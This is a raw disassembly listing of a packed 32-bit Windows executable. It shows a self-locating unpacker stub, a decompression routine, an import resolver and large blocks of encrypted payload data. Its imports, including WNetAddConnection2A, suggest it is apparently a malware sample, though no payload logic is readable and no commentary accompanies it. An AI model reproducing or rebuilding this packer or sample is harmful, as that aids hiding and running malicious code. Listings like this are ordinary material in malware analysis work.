dd 625CD3F0h, 58FCD6C1h, 0A61A2C82h, 0A4CDA561h, 0DCA2BA03h
dd 5F089332h, 82EAF031h, 3B8FE027h, 8849AAA6h, 83B1694Ch
dd 1A6929DFh, 8C9E9095h, 29CC6544h, 0E77973B0h, 0D2E3A848h
dd 70ED6CECh, 8EAA7D9Fh, 245FEA37h, 32E2E876h, 0CCA4971Bh
dd 0C1D1FDC7h, 7A51CDE0h, 1398B7B8h, 0C9925BAEh, 3A15240Ah
dd 39B97C6h, 0D253E796h, 0FC9DCDC7h, 99706DFh, 0DC58EA0Ah
dd 81E902B6h, 9B308905h, 9404ADDh, 5FDF43C5h, 152EF5D6h
dd 0A7AC5977h, 1428D2A5h, 4739A6F9h, 925BC4B8h, 28DAE88Dh
dd 2A0A6FD3h, 0E9885382h, 45873712h, 4D577508h, 0ABB38CF3h
dd 65827001h, 0E9138B7Dh, 0A9097DE7h, 8073E569h, 0CAD7C0CEh
dd 0E31A2467h, 5E88705Eh, 4E8B3269h, 56A84DF0h, 65DE3A04h
dd 4C9760BAh, 0A4A0D5DFh, 9AF21A01h, 0A5438A39h, 448DAE5Fh
dd 2E279369h, 0B002D223h, 112E0791h, 33C7BEADh, 0E0D93B3Dh
dd 68E180F1h, 7304882Ch, 581AA5F6h, 3022571Dh, 79CA2F72h
dd 30137CADh, 723DD86Eh, 368CE34Ah, 0B493A901h, 6A04932Dh
dd 0EB42DF15h, 0EC39F56Fh, 2F212140h, 3A477726h, 120004ADh
dd 57497394h, 77D7E00Fh, 0D98A7469h, 4082FCAAh, 0B350BD0Eh
dd 0C008FC70h, 0D8252C0Ah, 107CA820h, 0ACC3626Dh, 19640382h
dd 47874653h, 8CB6B0AFh, 856DCE6Eh, 9368A969h, 0E9AC20AFh
dd 5D82437Eh, 50D6FAEAh, 79D18145h, 6A8B7AA1h, 0FB23BF20h
dd 18BC1FC7h, 7D0CA319h, 82822EADh, 0DF466587h, 137D5DE6h
dd 0E89E63C4h, 30CBD44Eh, 0AE6D06F8h, 0D38B7815h, 0CCA2FAEDh
dd 0E6EC83E0h, 6F61B4F9h, 78D87CFCh, 2F2C41F3h, 0BA236E98h
dd 0B69F733Eh, 0D74D7616h, 40BE53DCh, 92D8A36Ah, 0D9CDE79Ch
dd 0B62E1F90h, 85BD4948h, 5C0FB203h, 1C2709F7h, 500h dup(0)
dd 14h, 0
dd 0E39FCh, 1D77A1A0h, 0C7C80h, 12h, 0Dh, 0E3AF5h, 71B2517Fh
dd 120013h, 150000h, 3AFD0000h, 46C9000Eh, 571ABh, 12h
dd 20h, 0E3B05h, 77126AEAh, 120013h, 2D0000h, 3B0D0000h
dd 2A09000Eh, 0E7C81h, 4 dup(0)
db 47h ; G
db 65h, 74h, 50h
db 72h ; r
db 6Fh, 63h, 41h
db 64h ; d
db 64h, 72h, 65h
db 73h ; s
db 73h, 47h, 65h
db 74h ; t
db 4Dh, 6Fh, 64h
db 75h ; u
db 6Ch, 65h, 48h
db 61h ; a
db 6Eh, 64h, 6Ch
db 65h ; e
db 41h, 4Ch, 6Fh
db 61h ; a
db 64h, 4Ch, 69h
db 62h ; b
db 72h, 61h, 72h
db 79h ; y
db 41h, 57h, 4Eh
db 65h ; e
db 74h, 41h, 64h
db 64h ; d
db 43h, 6Fh, 6Eh
db 6Eh ; n
db 65h, 63h, 74h
db 69h ; i
db 6Fh, 6Eh, 32h
db 41h ; A
db 0FFh, 7, 0
db 0
aAvariantchange db '€VariantChangeTypeExRaiseException',0
align 1000h
_nsp0 ends
; Section 2. (virtual address 00100000)
; Virtual size : 00039000 ( 233472.)
; Section size in file : 00039000 ( 233472.)
; Offset to raw data for section: 00100000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_nsp1 segment para public 'CODE' use32
assume cs:_nsp1
;org 500000h
assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
dd 906h, 0
dd 0FF000h, 0
dd 400000h, 0
dd 7C800000h, 7 dup(0)
dd 980000h, 0
dd offset sub_401000
align 8
dd 1, 0
dd 108h, 6 dup(0)
dd 2, 168h, 2 dup(0)
dd 1, 0
dd offset sub_401000
dd 0
dd 37F3Bh, 3 dup(0)
dd 7C801D77h, 7C80ADA0h, 7C801AD0h, 7C809A51h, 7C809AE4h
dd 7C81CDDAh, 0
dd 71B2517Fh, 0
dd 71AB46C9h, 0
dd 77126AEAh, 0
dd 7C812A09h, 4 dup(0)
dd 100150h, 10009Ch, 3 dup(0)
dd 10015Dh, 1000B8h, 3 dup(0)
dd 100165h, 1000C0h, 3 dup(0)
dd 100170h, 1000C8h, 3 dup(0)
dd 10017Dh, 1000D0h, 5 dup(0)
dd 4E52454Bh, 32334C45h, 4C4C442Eh, 52504D00h, 4C4C442Eh
dd 32535700h, 2E32335Fh, 4C4C44h, 41454C4Fh, 32335455h
dd 4C4C442Eh, 52454B00h, 334C454Eh, 4C442E32h, 4Ch, 64616F4Ch
dd 7262694Ch, 41797261h, 47000000h, 72507465h, 6441636Fh
dd 73657264h, 73h, 74726956h, 506C6175h, 65746F72h, 7463h
dd 72695600h, 6C617574h, 6F6C6C41h, 63h, 74726956h, 466C6175h
dd 656572h, 78450000h, 72507469h, 7365636Fh, 73h
aWnetaddconne_1 db 'WNetAddConnection2A',0
db 0
align 2
aVariantchang_0 db 'VariantChangeTypeEx',0
align 4
aRaiseexception db 'RaiseException',0
align 4
dd 100000h, 0F4A2F900h
db 0FFh
; =============== S U B R O U T I N E =======================================
public start
start proc near
; FUNCTION CHUNK AT 005005ED SIZE 00000009 BYTES
pushf
pusha
call $+5
pop ebp
sub ebp, 7
lea ecx, [ebp-1B1h]
cmp byte ptr [ecx], 1
jz loc_500489
mov byte ptr [ecx], 1
mov eax, ebp
sub eax, [ebp-21Dh]
mov [ebp-21Dh], eax
add [ebp-1EDh], eax
lea esi, [ebp-1A9h]
add [esi], eax
push ebp
push esi
push 40h
push 1000h
push 1000h
push 0
call dword ptr [ebp-185h]
test eax, eax
jz loc_5005ED
mov [ebp-1F5h], eax
call $+5
pop ebx
mov ecx, 367h
add ebx, ecx
push eax
push ebx
call sub_50054E
pop esi
pop ebp
mov esi, [esi]
mov edi, ebp
add edi, [ebp-22Dh]
mov ebx, edi
cmp dword ptr [edi], 0
jnz short loc_5002BB
add edi, 4
mov ecx, 0
jmp short loc_5002D1
; ---------------------------------------------------------------------------
loc_5002BB: ; CODE XREF: start+82j
mov ecx, 1
add edi, [ebx]
add ebx, 4
loc_5002C5: ; CODE XREF: start+CFj
cmp dword ptr [ebx], 0
jz short loc_5002FE
add [ebx], edx
mov esi, [ebx]
add edi, [ebx+4]
loc_5002D1: ; CODE XREF: start+8Cj
push edi
push ecx
push ebx
push dword ptr [ebp-181h]
push dword ptr [ebp-185h]
mov edx, esi
mov ecx, edi
mov eax, [ebp-1F5h]
add eax, 5AAh
call eax
pop ebx
pop ecx
pop edi
cmp ecx, 0
jz short loc_5002FE
add ebx, 8
jmp short loc_5002C5
; ---------------------------------------------------------------------------
loc_5002FE: ; CODE XREF: start+9Bj start+CAj
push 8000h
push 0
push dword ptr [ebp-1F5h]
call dword ptr [ebp-181h]
lea esi, [ebp-1EDh]
mov ecx, [esi+8]
lea edx, [esi+10h]
mov esi, [esi]
mov edi, esi
cmp ecx, 0
jz short loc_500365
loc_500326: ; CODE XREF: start+100j start+10Ej
mov al, [edi]
inc edi
sub al, 0E8h
loc_50032B: ; CODE XREF: start+136j
cmp al, 1
ja short loc_500326
mov eax, [edi]
cmp byte ptr [edx+1], 0
jz short loc_50034B
mov bl, [edx]
cmp [edi], bl
jnz short loc_500326
mov bl, [edi+4]
shr ax, 8
rol eax, 10h
xchg al, ah
jmp short loc_500355
; ---------------------------------------------------------------------------
loc_50034B: ; CODE XREF: start+108j
mov bl, [edi+4]
xchg al, ah
rol eax, 10h
xchg al, ah
loc_500355: ; CODE XREF: start+11Cj
sub eax, edi
add eax, esi
mov [edi], eax
add edi, 5
sub bl, 0E8h
mov eax, ebx
loop loc_50032B
loc_500365: ; CODE XREF: start+F7j
call sub_5004A4
lea ecx, [ebp-1D9h]
mov eax, [ecx+8]
cmp eax, 0
jz loc_5003FD
mov esi, edx
sub esi, [ecx+10h]
jz short loc_5003FD
mov [ecx+10h], esi
lea esi, [ebp-1A9h]
mov esi, [esi]
lea ebx, [esi-4]
mov eax, [ecx]
cmp eax, 1
jz short loc_5003A2
mov edi, edx
add edi, [ecx+8]
mov ecx, [ecx+10h]
jmp short loc_5003AA
; ---------------------------------------------------------------------------
loc_5003A2: ; CODE XREF: start+169j
mov edi, esi
add edi, [ecx+8]
mov ecx, [ecx+10h]
loc_5003AA: ; CODE XREF: start+173j start+18Ej
xor eax, eax
mov al, [edi]
inc edi
or eax, eax
jz short loc_5003D3
cmp al, 0EFh
ja short loc_5003BD
loc_5003B7: ; CODE XREF: start+19Dj start+1A4j
add ebx, eax
add [ebx], ecx
jmp short loc_5003AA
; ---------------------------------------------------------------------------
loc_5003BD: ; CODE XREF: start+188j
and al, 0Fh
shl eax, 10h
mov ax, [edi]
add edi, 2
or eax, eax
jnz short loc_5003B7
mov eax, [edi]
add edi, 4
jmp short loc_5003B7
; ---------------------------------------------------------------------------
loc_5003D3: ; CODE XREF: start+184j
xor ebx, ebx
xchg edi, esi
mov eax, [esi]
cmp eax, 0
jz short loc_5003FD
loc_5003DE: ; CODE XREF: start+1BCj
lodsd
or eax, eax
jz short loc_5003EB
add ebx, eax
add [edi+ebx], cx
jmp short loc_5003DE
; ---------------------------------------------------------------------------
loc_5003EB: ; CODE XREF: start+1B4j
xor ebx, ebx
shr ecx, 10h
loc_5003F0: ; CODE XREF: start+1CEj
lodsd
or eax, eax
jz short loc_5003FD
add ebx, eax
add [edi+ebx], cx
jmp short loc_5003F0
; ---------------------------------------------------------------------------
loc_5003FD: ; CODE XREF: start+149j start+154j ...
lea esi, [ebp-21Dh]
mov edx, [esi]
lea esi, [ebp-1C1h]
mov al, [esi]
cmp al, 1
jnz short loc_500450
add edx, [esi+4]
push esi
push edx
push esi
push 4
push 100h
push edx
call dword ptr [ebp-189h]
pop edi
pop esi
cmp eax, 1
jnz loc_5005ED
add esi, 8
mov ecx, 8
rep movsb
sub esi, 0Ch
sub edi, 8
push esi
push dword ptr [esi-4]
push 100h
push edi
call dword ptr [ebp-189h]
loc_500450: ; CODE XREF: start+1E2j
push ebp
pop ebx
sub ebx, 8
xor ecx, ecx
mov cl, [ebx]
cmp cl, 0
jz short loc_500489
inc ebx
lea esi, [ebp-21Dh]
mov edx, [esi]
loc_50046A: ; CODE XREF: start+25Aj
push esi
push ecx
push ebx
push edx
push esi
push dword ptr [ebx]
push dword ptr [ebx+4]
mov eax, [ebx+8]
add eax, edx
push eax
call dword ptr [ebp-189h]
pop edx
pop ebx
pop ecx
pop esi
add ebx, 0Ch
loop loc_50046A
loc_500489: ; CODE XREF: start+14j start+232j
mov eax, 0
cmp eax, 0
jz short loc_50049D
popa
popf
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_50049D: ; CODE XREF: start+264j
popa
popf
jmp sub_401000
start endp
; =============== S U B R O U T I N E =======================================
sub_5004A4 proc near ; CODE XREF: start:loc_500365p
mov esi, [ebp-225h]
or esi, esi
jz loc_500549
mov edx, [ebp-21Dh]
add esi, edx
loc_5004BA: ; CODE XREF: sub_5004A4+61j
cmp dword ptr [esi], 0
jnz short loc_5004CD
cmp dword ptr [esi+4], 0
jnz short loc_5004CD
cmp dword ptr [esi+8], 0
jnz short loc_5004CD
jmp short loc_500547
; ---------------------------------------------------------------------------
loc_5004CD: ; CODE XREF: sub_5004A4+19j
; sub_5004A4+1Fj ...
mov ebx, [esi+8]
add ebx, edx
push ebx
push edx
push esi
lea edi, [ebp-0DDh]
add edi, [esi+4]
add esi, 0Ch
push edi
call dword ptr [ebp-191h]
pop edi
pop edx
pop ebx
cmp eax, 0
jz short loc_500549
mov [ebp-215h], eax
add edi, [esi]
add esi, 4
loc_5004FB: ; CODE XREF: sub_5004A4+A1j
xor ecx, ecx
mov cl, [esi]
cmp ecx, 0
jnz short loc_500507
inc esi
jmp short loc_5004BA
; ---------------------------------------------------------------------------
loc_500507: ; CODE XREF: sub_5004A4+5Ej
mov eax, edi
add edi, ecx
push edx
push ebx
push eax
cmp byte ptr [eax], 0FFh
jnz short loc_50051B
inc eax
mov eax, [eax]
and eax, 7FFFFFFFh
loc_50051B: ; CODE XREF: sub_5004A4+6Dj
mov cl, [edi]
mov byte ptr [edi], 0
push ecx
push eax
push dword ptr [ebp-215h]
call dword ptr [ebp-18Dh]
pop ecx
pop edx
pop ebx
pop edx
cmp eax, 0
jz short loc_500549
mov [edi], cl
mov [esi-4], eax
push dword ptr [esi-4]
pop dword ptr [ebx]
add ebx, 4
inc esi
jmp short loc_5004FB
; ---------------------------------------------------------------------------
loc_500547: ; CODE XREF: sub_5004A4+27j
clc
retn
; ---------------------------------------------------------------------------
loc_500549: ; CODE XREF: sub_5004A4+8j
; sub_5004A4+4Aj ...
jmp loc_5005ED
sub_5004A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50054E proc near ; CODE XREF: start+6Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 005005E9 SIZE 00000004 BYTES
push ebp
mov ebp, esp
mov esi, [ebp+arg_0]
mov edi, [ebp+arg_4]
cld
mov dl, 80h
loc_50055A: ; CODE XREF: sub_50054E+12j
movsb
loc_50055B: ; CODE XREF: sub_50054E+34j
; sub_50054E+7Dj
call sub_5005CD
jnb short loc_50055A
xor ecx, ecx
call sub_5005CD
jnb short loc_500584
xor eax, eax
call sub_5005CD
jnb short loc_500595
mov al, 10h
loc_500576: ; CODE XREF: sub_50054E+2Fj
call sub_5005CD
adc al, al
jnb short loc_500576
jnz short loc_5005C2
stosb
jmp short loc_50055B
; ---------------------------------------------------------------------------
loc_500584: ; CODE XREF: sub_50054E+1Bj
call sub_5005D9
dec ecx
loop loc_5005A1
mov eax, ebp
call sub_5005D7
jmp short loc_5005C3
; ---------------------------------------------------------------------------
loc_500595: ; CODE XREF: sub_50054E+24j
lodsb
shr eax, 1
jz short loc_5005E9
adc ecx, 2
mov ebp, eax
jmp short loc_5005C3
; ---------------------------------------------------------------------------
loc_5005A1: ; CODE XREF: sub_50054E+3Cj
xchg eax, ecx
dec eax
shl eax, 8
lodsb
mov ebp, eax
call sub_5005D7
cmp eax, 7D00h
jnb short loc_5005C1
cmp eax, 500h
jnb short loc_5005C2
cmp eax, 7Fh
ja short loc_5005C3
loc_5005C1: ; CODE XREF: sub_50054E+65j
inc ecx
loc_5005C2: ; CODE XREF: sub_50054E+31j
; sub_50054E+6Cj
inc ecx
loc_5005C3: ; CODE XREF: sub_50054E+45j
; sub_50054E+51j ...
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp short loc_50055B
sub_50054E endp
; =============== S U B R O U T I N E =======================================
sub_5005CD proc near ; CODE XREF: sub_50054E:loc_50055Bp
; sub_50054E+16p ...
add dl, dl
jnz short locret_5005D6
mov dl, [esi]
inc esi
adc dl, dl
locret_5005D6: ; CODE XREF: sub_5005CD+2j
retn
sub_5005CD endp
; =============== S U B R O U T I N E =======================================
sub_5005D7 proc near ; CODE XREF: sub_50054E+40p
; sub_50054E+5Bp
xor ecx, ecx
sub_5005D7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5005D9 proc near ; CODE XREF: sub_50054E:loc_500584p
inc ecx
loc_5005DA: ; CODE XREF: sub_5005D9+Dj
call sub_5005CD
adc ecx, ecx
call sub_5005CD
jb short loc_5005DA
retn
sub_5005D9 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_50054E
loc_5005E9: ; CODE XREF: sub_50054E+4Aj
pop ebp
retn 8
; END OF FUNCTION CHUNK FOR sub_50054E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_5005ED: ; CODE XREF: start+51j start+1FDj ...
push 0
call dword ptr [ebp-17Dh]
retn
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
inc dword ptr [eax]
mov edx, [ecx]
cmp edx, [ecx+4]
jnz short loc_500609
mov dword ptr [ecx+eax*2], 2300110h
or al, 0FFh
retn
; ---------------------------------------------------------------------------
loc_500609: ; CODE XREF: .nsp1:005005FDj
pop es
mov al, [edx]
inc edx
mov [ecx], edx
pusha
mov eax, [esp+4]
sbb al, 83h
popa
adc [ebx], dh
or [ebx+eax*4], cl
push esi
push ds
and [ebx], al
rol byte ptr [ecx+49h], 1
or bh, bh
push 5
jmp short loc_500638
; ---------------------------------------------------------------------------
db 58h, 5Eh, 0E8h
dd 8B0239C9h, 0F0CE4h, 0E2C1C0B6h
; ---------------------------------------------------------------------------
loc_500638: ; CODE XREF: .nsp1:00500627j
or [ebx], cl
retn 3E4Eh
; ---------------------------------------------------------------------------
db 89h, 41h, 0Fh
dd 0E5EEA75h, 56530004h, 708718Bh, 0D285DB33h, 0C798057h
dd 55762C7Eh, 0EED1EA1Ch, 0FE3BE380h, 0E82B0572h, 1CB1D83h
dd 60C57781h, 0E6C11073h, 85E8081Ah, 0E7418489h, 754DF800h
dd 89675DD8h, 7A4C5F62h, 0C38B1C5Eh, 0F28CB35Bh, 57614F97h
dd 0DC39B70Fh, 0E83CC1C2h, 0C7AF1E0Bh, 3B0C7E00h, 314073F8h
dd 0C0BC4689h, 8E01F566h, 1EBFD034h, 0FA2B98F0h, 5FF00C1h
dd 8966F803h, 7E7F8139h, 8B195CA8h, 2AE8CE14h, 644E889Fh
dd 0BA381DE1h, 72DFF166h, 42EB0EE0h, 0F84FD02Bh, 0D789566Dh
dd 0C8FA06Fh, 0E6D00AD2h, 9EEA50C1h, 0A386DFC2h, 1FFEE742h
dd 5E5F4002h, 0ECD681C3h, 16BB5351h, 8594DA3Eh, 0F901E8DBh
dd 5D891A7Eh, 55B240FCh, 34708D08h, 3E180CE6h, 3FD3FE8h
dd 0C4DE6C6h, 5EEB75FCh, 8B0242C2h, 5FE2D3CBh, 95C9045Bh
dd 763A191Fh, 9CF8DD89h, 0FFC35730h, 0C97D3942h, 0A8FBD98Bh
dd 65207EFCh, 3127856h, 0E81E0C42h, 0CFBD2385h, 0D30614D0h
dd 4509E003h, 123B47FCh, 1BE27C48h, 88241415h, 0F26D61C9h
dd 0ECDAE899h, 0E46E4940h, 0CF54E8D3h, 0C6380BABh, 14BE493Dh
dd 2B9FEA7Ch, 5035A05Bh, 0FCD29C19h, 0C4435294h, 0B808751Bh
dd 0D865D0D1h, 70EEEC1h, 0CF01468Dh, 0C30326E0h, 0E8471B76h
dd 0DBD07396h, 3B02D80Bh, 811C75F0h, 0D340A1FBh, 57B21AEBh
dd 0E8221BB6h, 8B59A276h, 0E61C99D8h, 0C38AB88Ah, 0E566585h
dd 0F147FA82h, 85417CE8h, 1675C013h, 570C2A46h, 6A0403ACh
dd 304C8D03h, 0DCE85AB0h, 3BEB31C7h, 8B024EC0h, 0A832F8D7h
dd 65755724h, 22104B1Bh, 9F0D8C24h, 1B54E91h, 0EB08C083h
dd 0F8406A11h, 0A102048Eh, 100CA213h, 2C67D2D2h, 0F9384ABEh
dd 544E0813h, 0C4D41F1h, 3324C803h, 0F1B87047h, 3D1A52A4h
dd 0EBDCC928h, 0C8F44DCCh, 0E528E806h, 0D6D210E6h, 414B661Ah
dd 690F84Dh, 3F020ECh, 5E7D3E4h, 5A050736h, 4F4ADB32h
dd 390CCE1Ch, 6055604Dh, 73DC2E10h, 20D6A08h, 0E1A0E958h
dd 40769842h, 0F9D1C875h, 2FDCA8B7h, 0ABF3FE20h, 6661C913h
dd 1875FF0Ah, 2140320h, 0E8C84D8Dh, 8EA3FCFAh, 0F80207Dh
dd 5DD47086h, 2310128Ah, 0D8208619h, 60DE89C1h, 0A3668518h
dd 42F4EA13h, 42061AAh, 73C29B46h, 6455624Eh, 1246FD44h
dd 0DC827662h, 80474223h, 2A08B1A5h, 8020E74Dh, 0A3A590C3h
dd 0A100C59Ch, 48DC203h, 1D059040h, 0E4FF8309h, 0E6C8806h
dd 87067D0Fh, 0EB03F465h, 0A243D10h, 0EF9E05BAh, 0A65B903h
dd 0F4A50D06h, 740830CEh, 39F62049h, 9AF8B02Bh, 3C048A1Ch
dd 18AA8810h, 1D65A09Ah, 6C7783FEh, 0E470881h, 678AE76Ch
dd 941C54D8h, 43F2836Ah, 807EAE08h, 0C2333401h, 6242E894h
dd 0C33BC1A3h, 0C7AF1B50h, 3A2DB2E1h, 9EE82398h, 8EA62F51h
dd 0A445752Fh, 95920F47h, 0C1D18A03h, 86E84605h, 2C75184Eh
dd 350FEE39h, 14558B84h, 0FF1FF0B5h, 0C09D0707h, 8DF8912Bh
dd 4309C144h, 0D339F4F9h, 3301338Ah, 884A31FFh, 0CE4AE912h
dd 22B058A4h, 5751846h, 0EBEC48C3h, 0C82B2B27h, 2EE80A8Ah
dd 0EBF0E118h, 0E476BA09h, 0B587E410h, 0B6EC1D38h, 0A8EDB419h
dd 0DDA2E613h, 688E8481h, 9B32480Ah, 99C2D5AAh, 7E91EA62h
dd 0FDE0DC48h, 110BD9E7h, 44C2ADE9h, 5BF06C89h, 0D1DBE41Ch
dd 849D6D0Ch, 882C5912h, 29066488h, 1B0A1132h, 0D99750E8h
dd 0B42404F8h, 7D034C7Ch, 94D85824h, 73DF251h, 93810624h
dd 144B5360h, 21549E74h, 0E249647Ch, 91D6C7D1h, 0F94AFB23h
dd 0CABA30CFh, 2ACC3E98h, 247D5D0Eh, 1DE45115h, 4E5EF02Bh
dd 0E880055Eh, 15DD73Ah, 8321EB70h, 0FE1E7C2h, 3E18A4FBh
dd 451C0049h, 0F16A50C8h, 0A44F691h, 0CEDBEB5Ah, 0B68590B4h
dd 8ED36284h, 0C9064883h, 0A6303424h, 779E3C80h, 1C393F3Ah
dd 9CD3C1A4h, 0C7034242h, 4040188Ah, 40094139h, 0A1D2854Ah
dd 3B057EC2h, 497220D4h, 0E778F1ECh, 55820FE0h, 0D245B590h
dd 6E83CC95h, 75D2851Ch, 0C37841EBh, 1263F0D1h, 8772102Eh
dd 44800F8Ah, 0DBB82E1h, 24F4D161h, 7627201h, 4A96E944h
dd 2C55E319h, 2E2E2D2Eh, 1472805Fh, 0C18AE432h, 0F62EB37Dh
dd 8FAAC1F3h, 0D30C807Ch, 3CFA7548h, 0A612BA09h, 0FC1CF71Ch
dd 0F516F781h, 82F11EC9h, 0C6BB0606h, 0CFE35061h, 9210E068h
dd 1B9C268Dh, 525341A7h, 0CD9D71FFh, 0C8BD2077h, 8BA17A90h
dd 51494D3h, 72206FB4h, 0B8578852h, 651DFC12h, 0F6332420h
dd 46018CE4h, 6A81806Eh, 402E69C3h, 0C68B0202h, 1E5FC385h
dd 153F8C4h, 80B9h, 5D000000h, 200000h, 37F2Ah, 0FF000h
dd 42003400h, 0E0CB5E03h, 8FCFC130h, 7F2A8E3Dh, 79754435h
dd 9FE88BACh, 90DC7B89h, 84CF2A7Ah, 11121200h, 96C0B839h
dd 0CAE229C9h, 9029321Ah, 4A83C73Fh, 83DD4315h, 7EC6A430h
dd 0FF3A0480h, 22855D94h, 1A08D34h, 6CE53DB4h, 98F96FE8h
dd 0DABBA52Ah, 4EC685DAh, 35AF54A8h, 139F7F2Eh, 8732EC06h
dd 6C4DB8Eh, 0FDEE093Ch, 416AAF82h, 0C2748543h, 78408E21h
dd 4F1388DEh, 0B3E96985h, 0F3B6EC85h, 2038FAFEh, 72800288h
dd 3CBCEB71h, 0EFD98890h, 5769000Eh, 754DBA53h, 3AE4183Ah
dd 0C8890D6Ah, 7FB4A1C5h, 0D0BE927Ah, 9B0055E2h, 0F2891B5Ch
dd 0BC2613A2h, 90EC06A1h, 98CF474Ch, 87B520CDh, 50101CBEh
dd 5BF52351h, 746EBEFAh, 0B68B53D1h, 774F0614h, 0AAFAB9E8h
dd 8BBB7874h, 6F0DEF33h, 0C7ECB987h, 0A9A268A2h, 0F5C4DB3Fh
dd 5BE96FBh, 6DD00572h, 3A235534h, 0DBA75F9Dh, 0B2B9AA54h
dd 3133E09Ch, 93B10462h, 1B0F5ADDh, 4A7EA907h, 198D6E3Dh
dd 4BA76E03h, 0A4036F8Ch, 63B6D4E6h, 0E7F415AEh, 23F11036h
dd 766F57E3h, 3487358Fh, 844EBB81h, 0EAB6B009h, 0EBF7EAE0h
dd 8B8D1EC8h, 698944F8h, 8DAAFBF0h, 0FA43735Dh, 5EF4E52Eh
dd 34E22079h, 49628BB9h, 91C89C23h, 0B662F57Bh, 810D188Fh
dd 25D2A3C0h, 0BBA0D96Fh, 0C092CB3Eh, 7005EA79h, 54D79F94h
dd 0BE3498C6h, 9D518011h, 2B91EC5h, 0C28DD4F5h, 4959A637h
dd 645F043Dh, 0B95333CEh, 0FE46F7E0h, 70F1A0AFh, 13A7403h
dd 0D8B5C622h, 0CF70BCEAh, 0C16FDF1Bh, 0F062D3F0h, 9CCA3598h
dd 0DEAC23FFh, 0E6426178h, 4B98572Dh, 2C80BFCCh, 0B69CBE0Fh
dd 4C2962C9h, 0F641CEF9h, 9B9B78B5h, 8339845Ch, 0A7AA4E46h
dd 0C6105C36h, 2219A94Bh, 0EE1E471h, 9B027DF7h, 18EA1242h
dd 457E8A4Bh, 7BC062C2h, 0ED99B11Ch, 36FD506h, 0CE961F44h
dd 2E445778h, 41AFBC3Ah, 5F4D96A2h, 958D0481h, 4D33BB59h
dd 806B2F96h, 0CF864C2Ch, 9FA5AAADh, 1E88E3F6h, 0DE0D612Eh
dd 7A3DD26Bh, 0FCA464FAh, 6F004102h, 18DAF0F6h, 0C3410273h
dd 4AD94274h, 0E0E06D07h, 3999C7D4h, 2E9A4A00h, 0D385028h
dd 3361AF36h, 153DED04h, 6F5C3FF9h, 0DF832B44h, 5AF9A37Dh
dd 3913EE0Ah, 0BCC1193Ah, 4CBF3EECh, 0F9352862h, 0CAE7CAA2h
dd 0F214E0C0h, 0CA5C0515h, 0A5DAEC54h, 61924245h, 0C3B062FCh
dd 2B49860h, 76463B82h, 0C8BC0B0Fh, 9DB58B6Dh, 9564D0BFh
dd 0BA58628Eh, 0CFA6C3EEh, 32F04C85h, 644ED210h, 97CD0D56h
dd 0FCECB214h, 0FCA85843h, 7768C1A1h, 0E03C3085h, 5C1838F3h
dd 82B0893Ah, 17483E75h, 8863F988h, 25AEAE21h, 0FC800101h
dd 7F703E77h, 6C7E9A09h, 0FB185634h, 8171CE2h, 9B3914B4h
dd 903FC87Bh
dd 8241D43Eh, 1FFC6BF6h, 75173B23h, 93FAC89Fh, 0B9D9192Ch
dd 56F8644Fh, 0AA3AC6F1h, 656C7BE9h, 37A97249h, 2F5F45B4h
dd 0C62636D8h, 686D1744h, 9D3754C6h, 0DB7517D0h, 7EE9DB18h
dd 40B7C957h, 0B052FB4Dh, 1232546Eh, 4B827E16h, 0B2FABD20h
dd 832212Dh, 3D08FB1Ch, 0D208CD6Dh, 0ADE22837h, 6EE205BDh
dd 0F09C1AC2h, 54FF3D6Bh, 68C2B6CFh, 0FAE95F49h, 4B9218AEh
dd 0EDDDB461h, 0B924C4F8h, 355B15E3h, 0D3FEDBD1h, 7CA7FEFEh
dd 46135BD7h, 0E8E19425h, 0EAA6AFF0h, 24499F60h, 5AD511EBh
dd 0B7D2270Bh, 72720D42h, 923D8E8Ah, 0A7226C9Ah, 4C184DD8h
dd 298469AEh, 3032DD44h, 0CAFFCCABh, 1D4A5CFFh, 3B6D37DEh
dd 18A1539Dh, 192B11A8h, 47503737h, 8209BC87h, 5352230Eh
dd 0C968BFF0h, 3CCFA7FDh, 4B607595h, 3BCB5E89h, 0DCA99C53h
dd 426961DFh, 5E11E2E3h, 4B43A541h, 47754B35h, 6D3E38A6h
dd 7C0E7114h, 1CE0D351h, 335AF361h, 0C34F51F0h, 556AE2B9h
dd 0F8817B68h, 5B0C91A3h, 2B9CB670h, 6A4E7FF1h, 259089ADh
dd 7303872Eh, 0CA156506h, 3DDB5055h, 0B85DE2F0h, 819E722Eh
dd 0C08E8261h, 0FB88EF5Ch, 7DF6C9B8h, 9494C7E4h, 0D3035447h
dd 4B097DE4h, 0F4BFEA44h, 51AF1B1Eh, 0C5611D29h, 4CB8C94Eh
dd 0ED421082h, 2C0B5A9Bh, 0D0779E0Fh, 0BD5667E3h, 25614646h
dd 0B618C49Ah, 0BCB71613h, 33574835h, 895951D1h, 0C053A988h
dd 641BB760h, 41695F5Ah, 30CE48h, 17310EDFh, 0C6BA343Fh
dd 0F4501955h, 14D19807h, 0B09FB4Fh, 3DC5F782h, 43F15AD9h
dd 3CB78807h, 3B327B99h, 233606F9h, 7B30BFFh, 0BCC958B2h
dd 0D7A5CDEDh, 0D207BFB4h, 69171D7Ch, 91DA6AA4h, 0E8F22904h
dd 8FCA4F6Dh, 8913693Bh, 8CDCA909h, 0A51D787Bh, 3DDDA953h
dd 0AF3E68BCh, 4464A771h, 82F2270Bh, 33604A4Eh, 25FF9890h
dd 79ACF26Ah, 0E86AF9E8h, 0AE67BE18h, 5371E16Ah, 6C2CC459h
dd 0BA25D91Dh, 9B648571h, 6E7C4A3Ah, 5B0BC66Eh, 0F1C94E3Fh
dd 0CB85D9ABh, 3097C452h, 20147C3Fh, 6F761495h, 1F605CB9h
dd 0C5350FB7h, 390F3478h, 373EB68Eh, 22CB93C0h, 0AE10EE58h
dd 5A37061Fh, 0B4D037FEh, 9941B542h, 2D0ADCCEh, 0C795B7BDh
dd 0E3934A00h, 0F075FF84h, 0C9F50F2Eh, 5BC8E7B6h, 1217417Eh
